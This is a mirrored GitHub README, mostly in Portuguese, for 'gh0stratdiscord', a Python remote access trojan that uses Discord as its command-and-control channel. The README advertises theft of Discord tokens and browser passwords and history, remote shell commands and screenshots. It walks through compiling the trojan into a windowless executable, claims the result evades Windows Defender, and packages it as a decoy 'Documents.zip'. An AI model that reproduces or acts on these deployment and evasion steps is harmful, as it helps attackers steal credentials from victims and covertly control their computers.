Giter Site home page Giter Site logo

ghostn4444 / gh0stratdiscord Goto Github PK

View Code? Open in Web Editor NEW
1.0 1.0 0.0 51 KB

A Python RAT that uses Discord as a C2 server, can extract Discord Tokens, Passwords (chrome, edge, opera, firefoxm, etc) and control the computer.

License: BSD 3-Clause "New" or "Revised" License

Python 100.00%

gh0stratdiscord's Introduction

Gh0stRatDiscord

Uma ferramenta de administração remota Python que funciona no Discord. Suporta vários comandos de exploração.


Discord Tokens

Devido a uma atualização do cliente pelo Discord em 2022, a maioria dos Token Grabbers não são mais eficazes. No entanto, esta ferramenta foi projetada para quebrar a criptografia atualizada do Discord.


Senhas do navegador

Esta ferramenta é capaz de extrair senhas de navegadores da web contemporâneos.


Lista de Comandos

help - Help command
ping - Ping command
cwd - Get current working directory
cd <path> - Change directory
ls - List directory
download <file> - Download file
upload <link> - Upload file
shell <ps> - Execute shell command
run <file> - Run an file
exit - Exit the session
screenshot - Take a screenshot
tokens - Get all discord tokens
shutdown - Shutdown the computer
restart - Restart the computer
passwords - Extracts all browser passwords
history - Extracts all browser history

Configuração de pacotes

Instalando pacotes necessários

pip install -r requirements.txt

Configuração RAT

guild_id = ""  # ID do canal/servidor do Discord
token = ""     # Token do Bot do Discord

Compilando em um executável (.exe)

Para converter um arquivo Python em um executável uma opção é utilizar o cx_Freeze. O cx_Freeze é uma ferramenta semelhante ao PyInstaller que pode ser usada para criar executáveis a partir de scripts Python.


1 - Instalação do cx_Freeze:

você pode instalá-lo usando pip

pip install cx_Freeze

2 - Criando um script de configuração:

Crie um arquivo chamado setup.py com as informações de configuração para o cx_Freeze. Aqui está um exemplo básico de um arquivo setup.py:

# script setup.py
from cx_Freeze import setup, Executable

# Nome e Descrição do executável.
nome_executavel = "MeuExecutavel"
descricao_executavel = "Descrição do seu executável"

# icon = define o icone do executável.
# base = Serve para criar um executável sem console.
executables = [Executable("main.py", base="Win32GUI", icon="icone.ico")]

setup(
    name=nome_executavel,
    version="1.0",
    description=descricao_executavel,
    executables=executables,
)

# Certifique-se de passar o caminho do arquivo do ícone que você deseja usar. caso esteja em outra pasta:

icon="C:\Pasta1\Pasta2\icone.ico"

2 - Execute o cx_Freeze compilando em um executável:

python setup.py build

Usando cx_Freeze seu malwer passa pelo navegador e passa pelo Windows Defender na instalação e execução do (.exe)


Compilando em um arquivo (.zip)

Compress-Archive -Path 'build' -DestinationPath 'C:\Users\***NAMEUSER***\Downloads\Documents.zip'

Bot do Discord

Certifique-se de estar logado no site do Discord.
Navegue até a página de aplicações.


Acesse o Link para criar seu Bot: Discord Developers


Clique no botão "New Application" (Nova aplicação).



Dê um nome à sua aplicação e clique em "Create" (Criar)



Vá até a guia "Bot" e clique em "Add Bot" (Adicionar bot). Você terá que confirmar, clicando em "Yes, do it!" (Sim, faça isso!).



Mantenha as configurações padrão para Public Bot (Bot público - marcada) e Require OAuth2 Code Grant (Exigir autorização de código OAuth2 - desmarcada).

Seu bot foi criado. A próxima etapa é copiar o token.


Este token é a senha do seu bot. Por isso, não o compartilhe com ninguém. Isso pode permitir que alguém faça o login com seu bot e faça o que quiser com ele. Você pode gerar novamente o token se ele for compartilhado por acidente.

Como convidar seu bot para participar de um servidor

Agora, você precisa colocar seu usuário bot em um servidor. Para fazer isso, crie um URL de convite para ele.

Vá para a guia "OAuth2" e selecione "bot" na seção "scopes" (Escopos).


Em seguida, escolha as permissões que você quer que o bot tenha. O bot usará, principalmente, mensagens de texto. Assim, não precisamos de muitas permissões. Você pode precisar de mais, dependendo do que você quer que o bot possa fazer. Cuidado com a permissão de "Administrator" (Administrador).




Depois de selecionar as permissões apropriadas, clique no botão 'copy' (Copiar) acima das permissões. Isso copiará o URL, que pode ser usado para adicionar o bot ao servidor.

Cole o URL em seu navegador, selecione um servidor para o qual você convidará o bot e clique em "Authorize" (Autorizar).

Para adicionar o bot, sua conta precisa da permissão "Manage Server" (Gerenciar servidor). Agora que você criou o usuário bot, vamos começar a escrever o código em Python para ele.


gh0stratdiscord's People

Contributors

ghostn4444 avatar

Stargazers

 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.